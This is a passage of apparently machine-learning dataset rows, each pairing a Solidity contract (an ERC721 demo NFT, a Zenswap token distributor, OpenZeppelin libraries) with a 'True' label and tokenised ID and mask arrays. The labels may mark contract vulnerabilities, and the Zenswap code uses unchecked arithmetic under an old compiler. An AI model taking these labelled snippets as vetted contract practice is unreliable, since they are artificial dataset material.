_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
////////////////////////////////////////
// ##### ###### # # #### //
// # # # ## ## # # //
// # # ##### # ## # # # //
// # # # # # # # //
// # # # # # # # //
// ##### ###### # # #### //
////////////////////////////////////////
contract demoERC721 is ERC721URIStorage {
address public creator;
uint8 public number = 1;
mapping ( uint8 => bool ) public secured;
event Mint();
event SetTokenURI( uint32 , string );
event SecureCryptoArt( uint32 );
string defaultipfs;
constructor() ERC721("The Demo" , "DEMO" ) {
creator = _msgSender();
defaultipfs = "ipfs://Qma55BXzo9mWt21mzpMzXiCyikDNSwwYrCi1Daw2Adpf43";
}
function mint() public {
require( creator == _msgSender() );
require( number < 109 );
_safeMint(_msgSender() , number);
_setTokenURI( number , defaultipfs );
number++;
emit Mint();
}
function setTokenURI( uint8 _num , string memory _uri ) public{
require( creator == _msgSender() );
require( ! secured[_num] );
_setTokenURI( _num , _uri );
emit SetTokenURI( _num , _uri );
}
function secureCryptoArt( uint8 _num ) public {
require( creator == _msgSender() );
require( _num < number );
secured[_num] = true;
emit SecureCryptoArt( _num );
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
6185,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1013,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
1008,
1013,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2193,
1997,
19204,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3954,
1997,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
1036,
19204,
3593,
1036,
2442,
4839,
1012,
1008,
1013,
3853,
3954,
11253,
1006,
21318,
3372,
17788,
2575,
19204,
3593,
1007,
6327,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract ZenswapDistribution is Ownable {
token public tokenReward;
/**
* Constructor function
*
* Set the token smart contract address
*/
constructor() public {
tokenReward = token(0x0D1C63E12fDE9e5cADA3E272576183AbA9cfedA2);
}
/**
* Distribute token to multiple address
*
*/
function distributeToken(address[] _addresses, uint256[] _amount) public onlyOwner {
uint256 addressCount = _addresses.length;
uint256 amountCount = _amount.length;
require(addressCount == amountCount);
for (uint256 i = 0; i < addressCount; i++) {
uint256 _tokensAmount = _amount[i] * 10 ** uint256(18);
tokenReward.transfer(_addresses[i], _tokensAmount);
}
}
/**
* Withdraw an "amount" of available tokens in the contract
*
*/
function withdrawToken(address _address, uint256 _amount) public onlyOwner {
uint256 _tokensAmount = _amount * 10 ** uint256(18);
tokenReward.transfer(_address, _tokensAmount);
}
/**
* Set a token contract address
*
*/
function setTokenReward(address _address) public onlyOwner {
tokenReward = token(_address);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
8278,
19204,
1063,
3853,
4651,
1006,
4769,
8393,
1010,
21318,
3372,
3815,
1007,
6327,
1025,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1065,
3206,
16729,
26760,
9331,
10521,
18886,
29446,
2003,
2219,
3085,
1063,
19204,
2270,
19204,
15603,
4232,
1025,
1013,
1008,
1008,
1008,
9570,
2953,
3853,
1008,
1008,
2275,
1996,
19204,
6047,
3206,
4769,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
19204,
15603,
4232,
1027,
19204,
1006,
1014,
2595,
2692,
2094,
2487,
2278,
2575,
2509,
2063,
12521,
2546,
3207,
2683,
2063,
2629,
3540,
2850,
2509,
2063,
22907,
17788,
2581,
2575,
15136,
2509,
19736,
2683,
2278,
25031,
2050,
2475,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
16062,
19204,
2000,
3674,
4769,
1008,
1008,
1013,
3853,
16062,
18715,
2368,
1006,
4769,
1031,
1033,
1035,
11596,
1010,
21318,
3372,
17788,
2575,
1031,
1033,
1035,
3815,
1007,
2270,
2069,
12384,
2121,
1063,
21318,
3372,
17788,
2575,
4769,
3597,
16671,
1027,
1035,
11596,
1012,
3091,
1025,
21318,
3372,
17788,
2575,
3815,
3597,
16671,
1027,
1035,
3815,
1012,
3091,
1025,
5478,
1006,
4769,
3597,
16671,
1027,
1027,
3815,
3597,
16671,
1007,
1025,
2005,
1006,
21318,
3372,
17788,
2575,
1045,
1027,
1014,
1025,
1045,
1026,
4769,
3597,
16671,
1025,
1045,
1009,
1009,
1007,
1063,
21318,
3372,
17788,
2575,
1035,
19204,
21559,
21723,
1027,
1035,
3815,
1031,
1045,
1033,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
2324,
1007,
1025,
19204,
15603,
4232,
1012,
4651,
1006,
1035,
11596,
1031,
1045,
1033,
1010,
1035,
19204,
21559,
21723,
1007,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
10632,
2019,
1000,
3815,
1000,
1997,
2800,
19204,
2015,
1999,
1996,
3206,
1008,
1008,
1013,
3853,
10632,
18715,
2368,
1006,
4769,
1035,
4769,
1010,
21318,
3372,
17788,
2575,
1035,
3815,
1007,
2270,
2069,
12384,
2121,
1063,
21318,
3372,
17788,
2575,
1035,
19204,
21559,
21723,
1027,
1035,
3815,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
2324,
1007,
1025,
19204,
15603,
4232,
1012,
4651,
1006,
1035,
4769,
1010,
1035,
19204,
21559,
21723,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
2275,
1037,
19204,
3206,
4769,
1008,
1008,
1013,
3853,
2275,
18715,
2368,
15603,
4232,
1006,
4769,
1035,
4769,
1007,
2270,
2069,
12384,
2121,
1063,
19204,
15603,
4232,
1027,
19204,
1006,
1035,
4769,
1007,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.2;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.2;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.2;
/*
